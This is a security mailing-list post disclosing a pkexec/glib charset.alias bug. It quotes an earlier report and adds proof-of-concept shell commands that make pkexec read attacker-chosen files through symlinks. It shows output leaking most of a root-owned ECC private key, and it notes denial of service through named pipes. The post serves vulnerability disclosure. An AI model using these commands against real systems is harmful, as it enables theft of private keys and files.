Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Fri, 23 Jun 2017 20:23:44 +0200
From: Jakub Wilk <jwilk@...lk.net>
To: oss-security@...ts.openwall.com
Subject: charset.alias in pkexec/glib/gnulib (was: glibc locale issues)

* Tavis Ormandy <taviso@...xchg8b.com>, 2014-07-13, 18:59:
>because pkexec links to glib, the built-in iconv/gconv conversion stuff is 
>used by default. This allows you to setup aliases, which are of the form 
>"charset <arbitrary alias>", for example:
>
>
>$ echo "UTF-7 ThisIsAnAlias" > charset.alias
>$ CHARSET=ThisIsAnAlias CHARSETALIASDIR=$(pwd) pkexec
>pkexec --version +AHw
>       --help +AHw
>       --disable-internal-agent +AHw
>       +AFs---user username+AF0 PROGRAM +AFs-ARGUMENTS...+AF0
>
>(Notice the output is in UTF-7). I guess you can use this to figure out the 
>contents of root owned files (via hard links or symlinks), but it has to be in 
>the right format, and you have to guess the contents. Even then, you will just 
>receive confirmation if you guess right.

One could abuse this to check if a (otherwise inaccessible) directory exists, 
or cause DoS by reading from non-regular files (e.g. named pipes, tape 
devices...). Boring stuff.

More interestingly, charset.alias items can be also in the "* <charset>" 
format, and pkexec will tell us if the charset is invalid:

  $ echo '* MOOTF-8' > charset.alias
  $ CHARSETALIASDIR=. pkexec
  GLib: Cannot convert message: Conversion from character set 'UTF-8' to 'MOOTF-8' is not supported
  ...

So how can we exploit this?

* /etc/ppp/pap-secrets can be in the right format: it's whitespace separated 
and "*" can conceivably appear in the first column. But the second column is 
hostname, which is normally not very secret.

* Some crontab lines might be in the right format. For example:

  $ echo '43 23 1,15 * * frobnicate --force' > charset.alias
  $ CHARSETALIASDIR=. pkexec
  GLib: Cannot convert message: Conversion from character set 'UTF-8' to 'frobnicate' is not supported
  ...

* If someone was very unlucky when generating a secret key and stored it in an 
unencrypted binary format, we might be able to steal it. As a feasibility 
study, I generated 100 thousand of NIST P-256 keys in the format GnuPG 2.1 
uses. One of them looked like this:

  $ hd 69287.key
  00000000  28 31 31 3a 70 72 69 76  61 74 65 2d 6b 65 79 28  |(11:private-key(|
  00000010  33 3a 65 63 63 28 35 3a  63 75 72 76 65 31 30 3a  |3:ecc(5:curve10:|
  00000020  4e 49 53 54 20 50 2d 32  35 36 29 28 31 3a 71 36  |NIST P-256)(1:q6|
  00000030  35 3a 04 c2 df 36 0f 55  ef 0a 57 d8 1a 30 2f e1  |5:...6.U..W..0/.|
  00000040  52 dd 2b 7a 6e dc 58 f3  3a 03 6b 0e d8 c6 8c 77  |R.+zn.X.:.k....w|
  00000050  2b 71 de 23 d2 04 46 50  0b 61 a2 6e 06 74 c1 76  |+q.#..FP.a.n.t.v|
  00000060  cc e7 f1 8b 94 3d 1b e9  0c 0f 81 67 72 a2 7c 53  |.....=.....gr.|S|
  00000070  59 20 cf 29 28 31 3a 64  33 33 3a 00 96 53 90 0c  |Y .)(1:d33:..S..|
  00000080  2a 0c 92 5d af 80 89 0f  23 4e 98 3e 73 8b 1c ef  |*..]....#N.>s...|
  00000090  ef cc 8e a7 d9 e9 eb 2f  22 9a e5 51 29 29 29     |......./"..Q)))|
  0000009f

We're interested in disclosing the number d, which is stored in binary format 
between "(1:d33:" and ")))".

  $ ln -sf 69287.key charset.alias
  $ CHARSETALIASDIR=. pkexec 2>&1 | head -n1 | sed -e "s/.*'UTF-8' to '//" | hd
  00000000  92 5d af 80 89 0f 23 4e  98 3e 73 8b 1c ef ef cc  |.]....#N.>s.....|
  00000010  8e a7 d9 e9 eb 2f 22 9a  e5 51 29 29 29 27 20 69  |...../"..Q)))' i|
  00000020  73 20 6e 6f 74 20 73 75  70 70 6f 72 74 65 64 0a  |s not supported.|
  00000030

So pkexec kindly dumped the last 26 bytes of d for us. We can guess there's 
asterisk and a whitespace character just before that. The remaining 4 bytes 
can be brute-forced.

This attack does not (at least, not trivially) extend to reasonably-sized RSA 
keys, because pkexec dumps at most 50 bytes = 400 bits.

>Maybe someone can figure out how to turn this into something scary.

The above is at most mildly scary, but that shouldn't be an excuse for not 
fixing the bug.

NB, this was partially fixed in gnulib in 2009:
http://git.savannah.gnu.org/cgit/gnulib.git/commit/?id=b06da86eb05ed57e2861061ae5cacf4c7a3686f1
But glib has its own copy of this code, which hasn't been updated since 2008.

-- 
Jakub Wilk

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ